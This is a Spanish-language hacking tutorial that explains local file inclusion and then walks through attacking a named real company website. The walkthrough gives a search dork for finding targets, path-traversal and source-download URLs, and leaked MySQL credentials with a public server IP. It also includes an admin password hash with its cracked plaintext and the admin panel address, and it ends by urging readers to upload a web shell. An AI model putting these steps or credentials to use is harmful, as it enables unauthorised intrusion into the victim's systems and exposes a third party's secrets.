
by hdbreaker
Para seguir este post necesitamos comprender el concepto de LFI (Local File Inclusion)
LFI es un error de programación en php bastante comun donde se permite incluir archivos locales del servidor dentro del codigo php de la web afectada
Por ej:
Include.php
<?php $pagina = $_GET['pagina']; include($pagina); ?>En el source se precia un LFI en el parametro $pagina donde se puede solicitar la inclusión de contenido de otro archivo a través de include().
El parametro pagina esta siendo solicitado por medio de una peticion GET por lo que este error se puede explotar de la siguiente manera:
http://WebVulnerable.com/Include.php?pagina="Archivo a Incluir"
Un ejemplo Practico de esto seria:
http://WebVulnerable.com/Include.php?pagina=../../../../../../../../../etc/passwd
esto incluirÃa el contenido del archivo passwd y lo haria visible dentro de la pagina Include.php
El Full Source Disclosure funciona de forma similar ya que incluiremos un archivo dentro de una pagina php de descarga,
y de esta forma analizaremos detalladamente el source en nuestra pc buscando información sensible
Un Dork Comun para buscar una web vulnerable es:
inurl:download.php?file=* site:.com.ar
Buscamos un objetivo y probamos si es vulnerable, en mi caso elegi:
www.latinrisk.com.ar/download.php?file=doc/brochure-esp-final.pdf

copiamos la url y sustituimos el archivo brochure-esp-final.pdf por download.php
www.latinrisk.com.ar/download.php?file=download.php

y vemos como download.php es descargado a nuestro disco duro, analisemos su contenido

Como Podremos distinguir esta la clasica falla LFI en su Source
$file = basename($_GET['file']);
Esto es lo q nos va a permitir llevar a cabo nuestro ataque. Proseguimos
dado que podemos descargar contenido al q no tenemos acceso desde, nuestro querido download.php?file=
empezaremos a descargar paginas con contenido importante, Ej.
Descargaremos el archivo index.php y analizaremos su contenido


Como podremos Apreciar dentro del source de index.php encontraremos el archivo de configuración inc_loader.php
<? include ('inc_loader.php'); ?>
Descargemos y analicemos el Source!


Como podremos ver en el source encontraremos incluidas varios Archivos de Configuración.
include('inc/connect.php'); include('inc/func_std.php'); include('inc/sanitize.php'); include('inc_variables.php');
El q nos interesa es inc/connect.php
Nuevamente descargamos y analizamos


Como veremos en su código empezamos a distinguir sentencias q hacen referencia a la configuración de MySql
además distinguimos en el principio del source q se incluye el archivo config.php, Debe ser Interesante su contenido.
include_once('config.php');
Descargemos y analicemos!!! (se tiene q respetar el directorio dentro del q nos encontramos por lo tanto la ruta a incluir es inc/config.php)


Y como por arte de magia podemos divisar los usuarios y contraseñas de MySql tanto Locales como remotos
if ($_SERVER['HTTP_HOST'] == 'localhost' || $_SERVER['HTTP_HOST'] == 'server.lan') { $config['mysqlhost'] = 'localhost'; $config['mysqluser'] = 'root'; $config['mysqlpass'] = ''; $config['mysqldb'] = 'db_latinrisk'; $_URL = 'http://server.lan/latinrisk/web/'; } else { // $config['mysqlhost'] = '190.228.29.68'; $config['mysqlhost'] = '192.168.0.170'; $config['mysqluser'] = 'user_latinrisk'; $config['mysqlpass'] = 'Jwe9UoL6'; $config['mysqldb'] = 'db_latinrisk'; $_URL = 'http://www.latin-risk.com/'; }
Ahora nos fijamos si la web posee phpmyadmin:

Tristemente la web no tiene phpmyadmin :( pero como somos algo intrepidos y sabemos analizar el codigo vemos q el servidor MySql
es accesible desde la siguiente ip Publica 190.228.29.68 con Usuario "user_latinrisk" y password "Jwe9UoL6"
Acá la imaginación del hacker, existen varios metodos para acceder remotamente a una base de datos, yo por mi parto Utilizare MySqlNavigaitor
(Demas esta decir q el puerto defautl de Coneccion a un servidor MySql es 3306)

Llenamos los campos Correctamente y damos en Fire :)
Podemos ver las bases de datos que se encuentran en el sitio latinrisk.com.ar (empresa que se dedica a "Solventar Vulnerabilidades Informáticas a Empresas" XD)

nos vamos a db_latinrisk/gral_admin y nos encontraremos con los 2 usuarios mas poderosos de esta web

Solo queda desencryptar la pass en md5 de alguno de los 2 usuarios y tendremos acceso al AdminPanel de LatinRisk
Para los peresosos:
admin:a4be08c8f9378e32a2ffad1ab48d3e6 (lr1120)
Buscamos el AdminPanel con la tecnica q uds mas prefieran y llegamos a la siguiente dirección
http://www.latinrisk.com.ar/admin/

Ingresamos los datos correspondientes y damos click en Ingresar
y podremos apreciar lo siguiente:

Solo queda Bypassear algun Upload de imagenes y subir nuestra shell
Happy Hacking!